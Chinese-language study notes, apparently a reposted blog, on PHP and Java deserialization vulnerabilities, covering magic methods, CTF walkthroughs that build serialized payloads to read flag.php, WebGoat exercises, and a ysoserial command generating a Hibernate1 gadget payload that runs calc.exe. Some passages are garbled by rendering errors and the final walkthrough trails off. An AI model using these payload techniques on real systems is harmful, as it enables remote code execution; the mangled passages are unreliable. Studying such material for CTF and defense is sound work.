web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA

小迪安全课堂笔记反序列化

  • PHP思维导图
  • php反序列化
    • PHP反序列化热身题-无类问题-本地
    • CTF反序列化小真题-无类执行-实例
    • CTF反序列化练习题-有类魔术方法触发-本地
    • 网鼎杯2020青龙大真题-有类魔术方法触发-实例
  • JAVA思维导图
    • 序列化和反序列化
    • Java 反序列化及命令执行代码测试
    • WebGoat_Javaweb 靶场反序列化测试
    • 2020-网鼎杯-朱雀组-Web-think_java 真题复现

PHP思维导图

web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第1张图片
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第2张图片
序列化反序列化详解

php反序列化

原理
未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行、SQL注入、目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

serialize()  //将一个对象转换成一个字符串
unserialize()  //将字符串还原成一个对象

触发
unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法():
参考CTF PHP反序列化

__construct()//创建对象时触发
__destruct()//对象被销毁时触发
__call()//在对象上下文中调用不可访问的方法时触发
__callStatic()//在静态上下文中调用不可访问的方法时触发
__get()//用于从不可访问的属性读取数据
__set()//用于将数据写入不可访问的属性
__isset()//在不可访问的属性上调用isset()或empty()触发
__unset()//在不可访问的属性上使用unset()时触发
__invoke()//当脚本尝试将对象调用为函数时触发

区分反序列化用到的技术有类与无类可以通过看是否有class有即为有类
序列化后内容格式:object=对象
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第3张图片
图片中有些问题,如果对象是数值型时,不需要写长度,并且不加双引号,比如上边的正确写法是i:19;


$KEY='xiaodi123';//无类
echo serialize(&KEY);
?>//输出结果是s:9:"xiaodi123"

小知识:==是值相等、===是全相等,值类型也要相同

PHP反序列化热身题-无类问题-本地


error_reporting(0);			//无类
include "flag.php";
$KEY = "xiaodi";
$str = $_GET['str'];
if (unserialize($str) === "$KEY") //解题关键
{
echo "$flag";
}
show_source(__FILE__);


web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第4张图片
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第5张图片

CTF反序列化小真题-无类执行-实例

web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第6张图片
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第7张图片
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第8张图片
经分析,将key和cookie的值相同,就可获得flag,
将key序列化
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第9张图片
可使用浏览器,增加cookie
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第10张图片
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第11张图片
但是我们用burp
访问抓包,cookie写入序列化结果
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第12张图片
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第13张图片
发包后,网站没有反应,发现if分支没走cookie。走的get‘hint’,所以页面无变化。
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第14张图片

删除了hint,却返回了登录页面
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第15张图片
分析发现,代码比较在前,赋值在后。即比较时,key为空.
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第16张图片
重新提交,
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第17张图片

web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第18张图片
成功
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第19张图片

CTF反序列化练习题-有类魔术方法触发-本地

class ABC{ 			//class类
public $test;
function __construct(){
$test =1;
echo '调用了构造函数
'
; } function __destruct(){ echo '调用了析构函数
'
; } function __wakeup(){ echo '调用了苏醒函数
'
; }} echo '创建对象 a
'
; $a = new ABC; echo '序列化
'
; $a_ser=serialize($a); echo '反序列化
'
; $a_unser = unserialize($a_ser); echo '对象快要死了!'; ?>

web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第20张图片

网鼎杯2020青龙大真题-有类魔术方法触发-实例

首先ctf命名及代码函数unserialize判断反序列化知识点
第一:获取flag存储flag.php
第二:两个魔术方法__destruct__construct
第三:传输str参数数据后触发destruct,存在is_valid过滤
第四:__destruct中会调用process,其中op=1写入及op=2读取
第五:涉及对象FileHandler,变量op及filename,content,进行构造输出


classFileHandler{
public$op='2';//源码告诉我们op为1时候是执行写入为2时执行读
public$filename="flag.php";//文件开头调用的是flag.php
public$content="xd";
}
$flag=newFileHandler();
$flag_1=serialize($flag);
echo$flag_1;
?>

涉及:反序列化魔术方法调用,弱类型绕过,ascii绕过
使用该类对flag进行读取,这里面能利用的只有__destruct函数(析构函数)。__destruct函数对
t h i s − > o p 进 行 了 = = = 判 断 并 内 容 在 2 字 符 串 时 会 赋 值 为 1 , p r o c e s s 函 数 中 使 用 = = 对 this->op进行了===判断并内容在2字符串时会赋值为1,process函数中使用==对 this>op===21process使==this->op进行判断(为2的情况下才能读取内容),因此这里存在弱类型比较,可以使用数字2或字符串’2’绕过判断。
is_valid函数还对序列化字符串进行了校验,因为成员被protected修饰,因此序列化字符串中会出现ascii为0的字符。经过测试,在PHP7.2+的环境中,使用public修饰成员并序列化,反序列化后成员也会被public覆盖修饰。
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第21张图片
有类
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第22张图片
程序结束时,会调用析构函数destruct
代码逻辑分析如下
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第23张图片
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第24张图片

web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第25张图片
执行,右键源代码

web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第26张图片

JAVA思维导图

web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第27张图片
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第28张图片

序列化和反序列化

序列化(Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。
反序列化:从存储区中读取该数据,并将其还原为对象的过程,称为反序列化。
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第29张图片
在这里插入图片描述

web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第30张图片

Java 反序列化及命令执行代码测试

web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第31张图片

WebGoat_Javaweb 靶场反序列化测试

web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第32张图片
源码:序列化函数,命令执行函数
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第33张图片
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第34张图片
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第35张图片
根据给出数据,可以判断是序列化+base64
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第36张图片
我要攻击它,我该如何构造payload?
若是ipconfig,是否有回显?反弹shell能解决不回显问题。
ipconfig->序列化->base64=rO0AB格式字符串,最终payload。
比较复杂所以一般用工具

反序列化工具ysoserial使用介绍

java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-master-30099844c6-1.jar ysoserial.GeneratePayload Hibernate1 calc.exe > payload.bin

工具序列化后,base64加密
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第37张图片
最终结果

2020-网鼎杯-朱雀组-Web-think_java 真题复现

web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第38张图片
附属文件
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第39张图片
源码,应该是利用sql注入漏洞
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第40张图片

web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第41张图片

打开页面
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第42张图片
抓包
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第43张图片
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第44张图片
得到账号密码
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第45张图片
通过swagger接口,测试注入漏洞及访问接口进行调用测试
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第46张图片
web漏洞“小迪安全课堂笔记”反序列化PHP&JAVA_第47张图片
…没懂

你可能感兴趣的:(网络安全,网络安全)